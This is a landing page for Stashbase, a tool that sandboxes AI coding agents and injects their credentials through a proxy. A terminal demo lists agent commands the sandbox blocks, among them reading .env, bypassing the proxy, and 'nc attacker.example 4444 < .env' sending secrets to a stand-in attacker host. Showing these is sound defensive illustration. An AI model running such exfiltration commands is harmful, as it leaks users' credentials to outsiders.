Run coding agentswithout the babysitting

Sandbox them on your laptop, in Docker or on your own server. Set rules once for files, APIs and MCP. Your agent uses your credentials without ever seeing them.

Works with Claude Code and Codex.Open-source CLI. Set up in minutes.

$curl -fsSL https://stashbase.dev/cli/install.sh | bash

Free forever: sandboxing, proxy access, and unlimited profiles.

Give agents access, not your credentials

Let coding agents use the APIs, tools, and credentials they need, without ever seeing the raw secrets.

A profile is the policy

Let it call your real APIs

GitHub, Stripe, Linear: the agent gets a placeholder, and the proxy adds the real key only for hosts you approve.

Let it run without babysitting

Approve less. The sandbox blocks everything outside your rules, and the agent can’t switch it off.

Let it work in your actual project

Full access to your code and packages, while .env files, keys, and certificates stay unreadable. Registries never see a credential.

Catch what the agent gets wrong

Packages with known vulnerabilities are stopped before they install, and commits are scanned for hardcoded secrets.

Review it like code

Profiles live in your repo, so changes to agent access get reviewed like any other code.

See what it did

A local log of every request, allowed or blocked. Metadata only, never values. Allow a blocked host in one command.

.stashbase/agents/codex.toml
[personal_credentials.LINEAR_API_KEY]
env = "LINEAR_API_KEY"

[[personal_credentials.LINEAR_API_KEY.rules]]
effect = "allow"
hosts = ["mcp.linear.app"]
methods = ["GET", "POST"]
paths = ["/mcp"]

[mcp_servers.linear]
url = "https://mcp.linear.app/mcp"
binding = "LINEAR_API_KEY"
allow_tools = ["*"]
deny_tools = ["delete_issue"]

Let it use MCP tools, minus the dangerous ones.

Credentials stay at the boundary

Bindings inject authentication without exposing its value.

Allowed tools are visible

Unauthorized tools are filtered from the server’s tool list.

Denied tools cannot run

Calls outside policy are rejected before they reach the server.

Coming soon

A dev machine for every member

Ready with zero setup: Claude Code, Codex and the Stashbase CLI come preinstalled, so your agents run with the same profiles, sandbox and credential proxy as on your laptop.

Your virtual machine2 vCPU · 8 GB RAM · 50 GB SSD
$ ssh my-vm# resumed in 13s · files from yesterday intact# preinstalled: claude, codex, stashbase, docker, node, python ...$ docker compose up -d postgres$ stashbase agent run --profile coding -- claude# close the app, the agent keeps going✓ test fixed, branch pushed● idle, machine suspended · files kept
  1. 08:40· running

    Connect from anywhere

    SSH in from anywhere, use the Stashbase CLI, or open the browser terminal in the dashboard.

  2. 08:41· running

    Start working, nothing to set up

    Profiles, sandboxing and credentials work just like on your laptop. Docker, Node and Python are already there.

  3. 11:30· suspended

    It suspends when the work is done

    After 2 hours idle it suspends itself with your session kept, so it never burns hours overnight.

  4. Next day· running

    Pick up where it left off

    It resumes in about 13 seconds, with your files and session where you left them.

Say yes to more agent runs

With Docker, the agent reaches the network only through Stashbase, so your rules hold even when you stop watching.

Inside the sandbox
$ cat .env
cat: .env: Permission denied
# denied by the profile

$ env -u HTTPS_PROXY curl https://example.com
curl: (7) Failed to connect
# can't skip the proxy: blocked by the firewall

$ nc attacker.example 4444 < .env
# blocked: only HTTP(S) through the proxy is allowed

$ nc -z host.docker.internal 5432
# blocked: no route to the host or private networks

$ curl -u "$STRIPE_SECRET_KEY:" \
    https://api.stripe.com/v1/charges
# 200 OK: allowed, real key injected by the proxy
01

A firewall, not just env vars

Each sandbox has its own firewall with no direct route to the internet, your host, or private networks. The only way out is the Stashbase proxy.

$ env -u HTTPS_PROXY curl … → blocked
02

Rules the agent can’t touch

The firewall sits outside the agent’s reach, so even a compromised agent can’t switch it off.

disable firewall → permission denied
03

Two backends, same profile

An OS-level sandbox by default, with nothing extra to install. Or switch to Docker for container isolation, where the agent sees only your project.

backend = "native" | "docker"
04

Bring your own image

Use the default image with Claude Code and Codex preinstalled, or bring your own. Custom images add tools, never privileges.

dockerfile = "./sandbox.Dockerfile"

Run agents on a server, not your laptop

Run your agents on a server you reach over SSH, with the same profiles, sandbox and proxy.

From your laptop
$ stashbase ssh install mybox
# a host from ~/.ssh/config, or user@host

$ stashbase ssh setup mybox
# sign in on the server, then check the key and Docker

$ stashbase ssh open mybox
# attached to the server's stashbase tmux session

mybox $ stashbase agent run --profile coding -- claude
01

Keeps running when you leave

Agents run in a tmux session on the server and keep going when you close your laptop. Reattach from anywhere, even your phone.

detach → agents keep running
02

Your laptop’s key stays put

The server gets its own key, which you can revoke anytime. The key on your laptop is never copied.

one machine, one key
03

Your own SSH, nothing new

Stashbase uses the ssh you already have, with your config, keys, and jump hosts.

stashbase ssh install user@host
04

Dev servers on localhost

Forward a port so the app the agent is working on opens on your laptop.

stashbase ssh open mybox --port 3000

Works with x86_64 Linux servers and Apple Silicon Macs. Use one machine per developer.

See how remote machines work

For teams: share access, not secrets

Give teammates and agents the access they need without sending secrets around. Everyone keeps their own credentials, and each agent profile picks only what it needs.

Multi-layer encryption and isolated workspaces

Bring your own secrets

Keep them in 1Password or Bitwarden. Stashbase only borrows a key for the moment your agents need it.

Bring secrets from...

Coming soon. 1Password and Bitwarden are trademarks of their respective owners and are not affiliated with Stashbase.

Let your agents do more, starting today.

Sandboxing, proxy access, and unlimited profiles are free forever. Start with one project and bring in your team when you’re ready.